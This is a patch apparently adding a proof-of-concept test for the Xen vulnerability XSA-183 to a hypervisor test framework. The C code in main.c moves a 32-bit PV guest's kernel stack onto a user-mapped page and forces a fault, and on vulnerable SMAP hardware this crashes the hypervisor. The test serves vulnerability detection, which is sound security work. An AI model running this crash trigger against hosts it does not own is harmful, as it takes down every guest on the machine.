XSA-183 PoC

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

diff --git a/docs/all-tests.dox b/docs/all-tests.dox
index 60ba4841aeb450003aad59325c841b9cb02e4723..1b14c6750cc8874a64d615e28b09782fec70f4b8 100644 (file)
--- a/docs/all-tests.dox
+++ b/docs/all-tests.dox
@@ -36,6 +36,9 @@ Coveres XSA-106 and XSA-156.
 
 @subpage test-xsa-173 - x86 shadow pagetables: address width overflow.
 
+@subpage test-xsa-183 - x86: Missing SMAP whitelisting in 32-bit exception /
+event delivery.
+
 
 @section index-utility Utilities
 

diff --git a/tests/xsa-183/Makefile b/tests/xsa-183/Makefile
new file mode 100644 (file)
index 0000000..fdc55a6
--- /dev/null
+++ b/tests/xsa-183/Makefile
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-183
+CATEGORY  := xsa
+TEST-ENVS := pv32pae
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk

diff --git a/tests/xsa-183/main.c b/tests/xsa-183/main.c
new file mode 100644 (file)
index 0000000..e016c91
--- /dev/null
+++ b/tests/xsa-183/main.c
@@ -0,0 +1,92 @@
+/**
+ * @file tests/xsa-183/main.c
+ * @ref test-xsa-183
+ *
+ * @page test-xsa-183 XSA-183
+ *
+ * Advisory: [XSA-183](http://xenbits.xen.org/xsa/advisory-183.html)
+ *
+ * This vulnerability only affects hardware supporting SMAP (Intel
+ * Broadwell/AMD Zen or later) on Xen 4.5 or later (due to the addition of
+ * software support to enable and use SMAP).
+ *
+ * Supervisor Mode Access Prevention is a hardware feature whereby an
+ * Operating System can opt-in to more strict pagetable requirements, designed
+ * to make it more robust, by raising a pagefault rather than accidentally
+ * following a pointer into userspace.  However, legitimate accesses into
+ * userspace require whitelisting.
+ *
+ * In Xen, compat_create_bounce_frame() is the function with the purpose of
+ * creating an exception/interrupt frame on a guest stack (matching what
+ * hardware would normally do).
+ *
+ * 32bit PV guest kernels, running in ring1, normally run on supervisor
+ * mappings.  However, the guest kernel is in control of its own stack
+ * pointer, so nothing stops the kernel putting @%esp over a user mapping.
+ *
+ * Under those circumstances if compat_create_bounce_frame() is invoked, it
+ * will (legitimately) try to create an exception frame on the kernel stack.
+ * If SMAP is enabled and the accesses are not whitelisted, Xen takes a fatal
+ * pagefault and crashes.
+ *
+ * If vulnerable, Xen will crash citing a fatal SMAP fault in
+ * compat_create_bounce_frame().  If not vulnerable, the test will exit
+ * cleanly.
+ *
+ * @see tests/xsa-183/main.c
+ */
+#include <xtf.h>
+
+#include <arch/x86/pagetable.h>
+#include <arch/x86/symbolic-const.h>
+
+uint8_t user_stack[PAGE_SIZE] __aligned(PAGE_SIZE);
+
+void test_main(void)
+{
+    unsigned long curr_stk, discard;
+    intpte_t nl1e = pte_from_virt(user_stack, PF_SYM(AD, U, RW, P));
+
+    printk("XSA-183 PoC\n");
+
+    /* Remap user_stack with _PAGE_USER. */
+    if ( hypercall_update_va_mapping(user_stack, nl1e, UVMF_INVLPG) )
+        panic("Unable to remap user_stack with _PAGE_USER\n");
+
+    /* Load NULL selector to guarantee a fault. */
+    write_fs(0);
+
+    asm volatile ("pushf;"                    /* Set AC to whitelist user */
+                  "orl $%c[AC], (%%esp);"     /* accesses.  Avoids crashes if */
+                  "popf;"                     /* Xen leaks SMAP into guest. */
+                                              /* context. */
+
+                  "mov %%esp, %[curr_stk];"   /* Record the current stack. */
+                  "mov %[user_stk], %%esp;"   /* Switch to the user stack. */
+
+                  "1: mov %%fs:0, %[tmp]; 2:" /* Read from NULL using a NULL */
+                  _ASM_EXTABLE(1b, 2b)        /* selector to cause a fault. */
+
+                  "mov %[curr_stk], %%esp;"   /* Restore the previous stack. */
+                  : [curr_stk] "=&q" (curr_stk),
+                    [tmp] "=r" (discard)
+                  : [user_stk] "q" (&user_stack[PAGE_SIZE]),
+                    [AC] "i" (X86_EFLAGS_AC));
+
+    /*
+     * If Xen hasn't crashed by this point, we are either running on hardware
+     * without SMAP, or with SMAP disabled, or Xen has been patched.  Either
+     * way, Xen isn't vulnerable to XSA-183 in its current configuration.
+     */
+    xtf_success("Xen is not vulnerable to XSA-183\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */